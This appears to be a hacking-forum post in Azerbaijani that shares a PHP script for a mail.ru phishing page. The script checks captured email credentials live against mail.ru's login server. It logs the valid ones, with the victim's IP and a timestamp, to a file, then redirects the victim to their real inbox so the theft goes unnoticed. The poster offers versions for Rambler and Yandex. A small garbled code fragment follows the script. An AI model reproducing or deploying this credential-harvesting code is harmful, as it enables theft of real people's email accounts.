buna fake yox daha doğrusu fakə daxil edilən log və passları parse edən script desək daha doğru olar
əvvəlcədən deyim alıntı deyil
special olaraq A-A üçün privatdan çıxartdım ))
off top
if (!$verif)-ə görə prizivim Maksimə təşəkkür
buda kod
Kod:
<?PHP
Error_Reporting(E_ALL & ~E_NOTICE);
$Login = $_POST['Login'];
$Domain = $_POST['Domain'];
$Pass = $_POST['Password'];
$rip = getenv("REMOTE_ADDR");
$date = date("d.m.Y H:i");
//verilənləri yoxlayırıq
$verif = verif_mail($Login,$Domain,$Pass);
if (!$verif) //əgər daxil edilən məlumatlar səfdirsə
{
header("Location: error.php");
exit;
}
else //daxil edilənlər düzdürsə onda fayla yazırıq
{
$c = "E-Mail: <u>$Login@$Domain</u> Pass: <u>$Pass</u> <a href='http://ip-whois.net/ip_geo.php?ip=$rip' target='_blank'>$rip</a> <i><font color=red>$date</font></i>";
$fp = fopen("log.php","a+");
fwrite($fp,"\n <br><br><b>[ $c ]</b> \n");
fclose($fp);
header("Location: http://e.mail.ru/cgi-bin/msglist");
exit;
}
function verif_mail($Login,$Domain,$Pass)
{
$ch = curl_init('http://e.mail.ru/cgi-bin/auth');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.16) Gecko/20110319 MRA 5.7 (build 03796) Firefox/3.6.16');
$headers = array
(
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3',
'Accept-Encoding: gzip,deflate',
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'
);
curl_setopt($ch, CURLOPT_HTTPHEADER,$headers);
curl_setopt($ch, CURLOPT_REFERER, "http://www.mail.ru/");
curl_setopt($ch, CURLOPT_POSTFIELDS, "action=login&Login=$Login&Domain=$Domain&Password=$Pass");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
//coockies oxuyuruq,
$h=fopen(dirname(__FILE__).'/cookie.txt',"r");
$cooka=fread($h,filesize(dirname(__FILE__).'/cookie.txt'));
fclose($h);
unlink(dirname(__FILE__).'/cookie.txt'); //faylı silirik
$proverka="Mpop";
$chek=strpos($cooka,$proverka);
if (!$chek)
return false;
else
return true;
clearstatcache();
unset($Login);
unset($Pass);
unset($Domain);
}
?>
36;Domain);
}
?>[/code]
bu scriptin məqsədi ondan ibarətdirki əgər kimsə sizin fakdə yalnış məlumat daxil edib enteri bassa onda o avtomatik olaraq error.php sehifesine redirect olunacaq yox əgər düz daxil etsə onda mail.ru-da inboxsa redirect olunacaq
login və pass isə log.php faylına qeyd olunacaq
bununlada siz yalnış log və passların daxil olmasının qarşısını alacaksız
mövzuya maraq olsa rambler və yandex üçündə yazaram